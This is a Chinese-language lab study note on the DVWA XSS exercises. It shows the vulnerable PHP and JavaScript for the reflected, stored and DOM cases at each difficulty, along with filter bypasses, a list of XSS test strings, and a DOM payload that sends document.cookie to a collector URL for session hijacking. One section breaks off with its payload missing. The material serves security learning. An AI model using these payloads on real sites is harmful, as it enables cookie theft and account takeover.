XSS攻击
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,
一、从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
二、常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
DVWA-XSS板块学习
反射型
low:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
服务器端核心代码,没有对上传的name进行任何过滤.直接上传
<script>`alert('XSS')`</script>
触发XSS弹窗,成功.
medium:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到服务器端过滤了一次"
但是这段代码要用url编码.执行后页面跳转,看网页地址上又cookie的其全部信息.或者看www目录下,出现了cookie.txt里面是页面的cookie.可以利用cookie登录dvwa.
储存型
low:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
直接在name栏和messa提交相应的payload,就会成功触发,此后每次刷新都会触发.
用反射型的方式获取页面cookie便可实现监控.
medium:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
对name进行了一次<script>
的过滤,绕过方式同反射型.
message使用了addslashes()函数,在预定义字符前加反斜杠.
在name进行绕过,即可成功.
high:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
还是施行正则匹配,还是用img和iframe绕过.
img:<img src = x onerror=alert('XSS')>
就能成功绕过.
impossible:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
还是利用函数将<>转换成html实体,实现无法绕过.
通常有一些方式可以测试网站是否有正确处理特殊字符:
><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert (vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> <img src="http://xxx.com/yyy.png" onerror="alert('XSS')"> <div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效)
DOM-based-sxx
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。可
能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
low:
页面源代码:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
相关属性解释:
document 和 windows 对象
document | windows |
---|---|
文档对象 | 窗口对象,可以包含多个文档对象 |
一个窗口下能有多个document.URL、document.location.href | 一个窗口下只有一个window.location.href |
document对象是window和frames对象的一个属性,是显示于窗口或框架内的一个文档<br/>document只是属于window 的一个子对象 | window 对象是顶层对象<br/>而不是另一个对象的属性即浏览器的窗口 |
document.location 包含 href 属性,直接取值赋值时相当于 document.location.href(当前页面完整 URL)<br/>没有document.href这个属性 | window.location 包含 href 属性,直接取值赋值时相当于 window.location.href(当前页面完整 URL) |
document.URL 取值时等价于 window.location.href 或 document.location.href。在某些浏览器中通过对document.URL 赋值来实现页面跳转,但某些浏览器中不行。
indexOf
定义和用法
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
indexOf(searchvalue,fromindex)
参数 | 描述 |
---|---|
searchvalue | 必需。规定需检索的字符串值。 |
fromindex | 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length - 1。如省略该参数,则将从字符串的首字符开始检索。 |
注释:1.indexOf() 方法对大小写敏感!
2.如果要检索的字符串值没有出现,则该方法返回 -1
substring() 方法
substring() 方法用于提取字符串中介于两个指定下标之间的字符。
substring(start,stop)
参数 | 描述 |
---|---|
start 必需。 | 一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。 |
stop 可选。 | 一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。 |
注释:如果省略stop参数,那么返回的子串会一直到字符串的结尾。
encodeURI() 函数和decodeURI() 函数
decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码
document.write
document.write是JavaScript中对document.open所开启的文档流(document stream操作的API方法,它能够直接在文档流中写入字符串,一旦文档流已经关闭,那document.write就会重新利用document.open打开新的文档流并写入,此时原来的文档流会被清空,已渲染好的页面就会被清除,浏览器将重新构建DOM并渲染新的页面.
if (document.location.href.indexOf("default=") >= 0) #判断 "default=" 是否存在
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8)
# 取出 default 的值 并 赋值给变量lang
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
写入<option value='"lang"'>"decodeURL(lang)</option>
所以我们插入的javascript 代码可以在decodeURL(lang)(第七行)被执行.
medium:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
array_key_exists() 函数
检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
参数 | 描述 |
---|---|
key 必需 | 规定键名。 |
array | 必需。规定数组 |
stripos() 函数
查找字符串在另一字符串中第一次出现的位置(不区分大小写)
stripos(string,find,start)
参数 | 描述 |
---|---|
string 必需 | 规定被搜索的字符串。 |
find 必需 | 规定要查找的字符。 |
start 可选 | 规定开始搜索的位置。 |
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。<br/>注释:字符串位置从 0 开始,不是从 1 开始。 |
header() 函数
向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
参数 | 描述 |
---|---|
string 必需 | 规定要发送的报头字符串。 |
replace 可选 | 指示该报头是否替换之前的报头,或添加第二个报头。<br/>默认是 true(替换)。false(允许相同类型的多个报头) |
http_response_code可选 | 把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用) |
由服务端代码 可知 Medium 级别过滤了 <script>
首先闭合<option>
标签和<select>
标签利用,img标签的onerror事件,在加载图像的过程中如果发生了错误,就会触发onerror事件,执行JavaScript.
?default=English</option></select><img src = x onerror=document.location='http://127.0.0.2/cookie.php?cookie='+document.cookie>
就能获取当前页面的cookie.
high:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
这关应用了白名单的方式,只允许上传值为French,English,German,Spanish的其中一个.
所以利用#注释符使得注释符后的代码不经过后端代码检查,从而绕过.
impossible:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
小结
通过对DVWA的XSS攻击学习模块的简单学习,掌握了初步的攻击思想和方法,请教大佬后建议以实战为切入点学习XSS.通篇的学习干货并不多,只算是对XSS攻击有了一个初步的了解.